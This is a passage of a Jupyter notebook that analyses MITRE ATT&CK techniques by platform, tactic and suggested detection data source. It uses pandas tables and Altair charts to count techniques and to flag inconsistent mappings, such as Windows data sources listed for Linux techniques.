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", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 47, "metadata": {}, "output_type": "execute_result" } ], "source": [ "subsets_graph_2 = pandas.DataFrame({\n", " 'Data Sources': list(subsets_graph.index),\n", " 'Count of Techniques': subsets_graph['subsets_count'].tolist()})\n", "\n", "bars = alt.Chart(subsets_graph_2).mark_bar().encode(x ='Data Sources', y ='Count of Techniques', color='Data Sources').properties(width=500)\n", "text = bars.mark_text(align='center',baseline='middle',dx= 0,dy=-5).encode(text='Count of Techniques')\n", "bars + text" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Group (Process Monitoring - Process Command-line parameters) is the is the group of data sources with the highest number of techniques. This group of data sources are suggested to hunt 78 techniques" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 14. Let's Split all the Information About Techniques With Data Sources Defined: Matrix, Platform, Tactic and Data Source" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's split all the relevant columns of the dataframe:" ] }, { "cell_type": "code", "execution_count": 48, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attackLinuxdefense-evasionFile Permissions ModificationT1222File monitoring
1mitre-attackLinuxdefense-evasionFile Permissions ModificationT1222Process Monitoring
2mitre-attackLinuxdefense-evasionFile Permissions ModificationT1222Process command-line parameters
3mitre-attackLinuxdefense-evasionFile Permissions ModificationT1222Windows event logs
4mitre-attackWindowsdefense-evasionFile Permissions ModificationT1222File monitoring
\n", "
" ], "text/plain": [ " matrix platform tactic technique \\\n", "0 mitre-attack Linux defense-evasion File Permissions Modification \n", "1 mitre-attack Linux defense-evasion File Permissions Modification \n", "2 mitre-attack Linux defense-evasion File Permissions Modification \n", "3 mitre-attack Linux defense-evasion File Permissions Modification \n", "4 mitre-attack Windows defense-evasion File Permissions Modification \n", "\n", " technique_id data_sources \n", "0 T1222 File monitoring \n", "1 T1222 Process Monitoring \n", "2 T1222 Process command-line parameters \n", "3 T1222 Windows event logs \n", "4 T1222 File monitoring " ] }, "execution_count": 48, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_data = techniques_with_data_sources\n", "\n", "attributes = ['platform','tactic','data_sources'] # In attributes we are going to indicate the name of the columns that we need to split\n", "\n", "for a in attributes:\n", " s = techniques_data.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", " s.name = a\n", " # We name \"s\" with the same name of \"a\".\n", " techniques_data=techniques_data.drop(a, axis=1).join(s).reset_index(drop=True)\n", " # We drop the column \"a\" from \"techniques_data\", and then join \"techniques_data\" with \"s\"\n", "\n", "# Let's re-arrange the columns from general to specific\n", "techniques_data_2=techniques_data.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", "\n", "# We are going to edit some names inside the dataframe to improve the consistency:\n", "techniques_data_3 = techniques_data_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])\n", "\n", "techniques_data_3.head()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Do you remember data sources names with a reference to Windows? After splitting the dataframe by platforms, tactics and data sources, are there any macOC or linux techniques that consider windows data sources? Let's identify those rows:" ] }, { "cell_type": "code", "execution_count": 49, "metadata": {}, "outputs": [], "source": [ "# After splitting the rows of the dataframe, there are some values that relate windows data sources with platforms like linux and masOS.\n", "# We need to identify those rows\n", "conditions = [(techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('windows',case=False)== True),\n", " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('windows',case=False)== True),\n", " (techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('powershell',case=False)== True),\n", " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('powershell',case=False)== True),\n", " (techniques_data_3['platform']=='Linux')&(techniques_data_3['data_sources'].str.contains('wmi',case=False)== True),\n", " (techniques_data_3['platform']=='macOS')&(techniques_data_3['data_sources'].str.contains('wmi',case=False)== True)]\n", "# In conditions we indicate a logical test\n", "\n", "choices = ['NO OK','NO OK','NO OK','NO OK','NO OK','NO OK']\n", "# In choices, we indicate the result when the logical test is true\n", "\n", "techniques_data_3['Validation'] = np.select(conditions,choices,default='OK')\n", "# We add a column \"Validation\" to \"techniques_data_3\" with the result of the logical test. The default value is going to be \"OK\"" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "What is the inconsistent data?" ] }, { "cell_type": "code", "execution_count": 50, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
matrixplatformtactictechniquetechnique_iddata_sourcesValidation
3mitre-attackLinuxdefense-evasionFile Permissions ModificationT1222Windows event logsNO OK
11mitre-attackmacOSdefense-evasionFile Permissions ModificationT1222Windows event logsNO OK
95mitre-attackLinuxdefense-evasionExploitation for Defense EvasionT1211Windows Error ReportingNO OK
101mitre-attackmacOSdefense-evasionExploitation for Defense EvasionT1211Windows Error ReportingNO OK
131mitre-attackLinuxlateral-movementExploitation of Remote ServicesT1210Windows Error ReportingNO OK
\n", "
" ], "text/plain": [ " matrix platform tactic \\\n", "3 mitre-attack Linux defense-evasion \n", "11 mitre-attack macOS defense-evasion \n", "95 mitre-attack Linux defense-evasion \n", "101 mitre-attack macOS defense-evasion \n", "131 mitre-attack Linux lateral-movement \n", "\n", " technique technique_id data_sources \\\n", "3 File Permissions Modification T1222 Windows event logs \n", "11 File Permissions Modification T1222 Windows event logs \n", "95 Exploitation for Defense Evasion T1211 Windows Error Reporting \n", "101 Exploitation for Defense Evasion T1211 Windows Error Reporting \n", "131 Exploitation of Remote Services T1210 Windows Error Reporting \n", "\n", " Validation \n", "3 NO OK \n", "11 NO OK \n", "95 NO OK \n", "101 NO OK \n", "131 NO OK " ] }, "execution_count": 50, "metadata": {}, "output_type": "execute_result" } ], "source": [ "techniques_analysis_data_no_ok = techniques_data_3[techniques_data_3.Validation == 'NO OK']\n", "# Finally, we are filtering all the values with NO OK\n", "\n", "techniques_analysis_data_no_ok.head()" ] }, { "cell_type": "code", "execution_count": 51, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "There are 32 rows with inconsistent data\n" ] } ], "source": [ "print('There are ',len(techniques_analysis_data_no_ok),' rows with inconsistent data')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "What is the impact of this inconsistent data from a platform and data sources perspective?" ] }, { "cell_type": "code", "execution_count": 52, "metadata": {}, "outputs": [], "source": [ "df = techniques_with_data_sources\n", "\n", "attributes = ['platform','data_sources']\n", "\n", "for a in attributes:\n", " s = df.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", " s.name = a\n", " df=df.drop(a, axis=1).join(s).reset_index(drop=True)\n", " \n", "df_2=df.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", "df_3 = df_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])\n", "\n", "conditions = [(df_3['data_sources'].str.contains('windows',case=False)== True),\n", " (df_3['data_sources'].str.contains('powershell',case=False)== True),\n", " (df_3['data_sources'].str.contains('wmi',case=False)== True)]\n", "\n", "choices = ['Windows','Windows','Windows']\n", "\n", "df_3['Validation'] = np.select(conditions,choices,default='Other')\n", "df_3['Num_Tech'] = 1\n", "df_4 = df_3[df_3.Validation == 'Windows']\n", "df_5 = df_4.groupby(['data_sources','platform'])['technique'].nunique()\n", "df_6 = df_5.to_frame().reset_index()" ] }, { "cell_type": "code", "execution_count": 53, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "data": { "name": "data-73cd253a6f2d44bcf44557fc86553adc" }, "datasets": { "data-73cd253a6f2d44bcf44557fc86553adc": [ { "data_sources": "PowerShell logs", "platform": "Linux", "technique": 1 }, { "data_sources": "PowerShell logs", "platform": "Windows", "technique": 1 }, { "data_sources": "PowerShell logs", "platform": "macOS", "technique": 1 }, { "data_sources": "WMI Objects", "platform": "Windows", "technique": 1 }, { "data_sources": "Windows Error Reporting", "platform": "Linux", "technique": 4 }, { "data_sources": "Windows Error Reporting", "platform": "Windows", "technique": 4 }, { "data_sources": "Windows Error Reporting", "platform": "macOS", "technique": 4 }, { "data_sources": "Windows Registry", "platform": "Linux", "technique": 4 }, { "data_sources": "Windows Registry", "platform": "Windows", "technique": 34 }, { "data_sources": "Windows Registry", "platform": "macOS", "technique": 4 }, { "data_sources": "Windows event logs", "platform": "Linux", "technique": 4 }, { "data_sources": "Windows event logs", "platform": "Windows", "technique": 19 }, { "data_sources": "Windows event logs", "platform": "macOS", "technique": 4 } ] }, "encoding": { "color": { "field": "platform", "type": "nominal" }, "x": { "field": "technique", "stack": "normalize", "type": "quantitative" }, "y": { "field": "data_sources", "type": "nominal" } }, "height": 200, "mark": "bar" }, "image/png": "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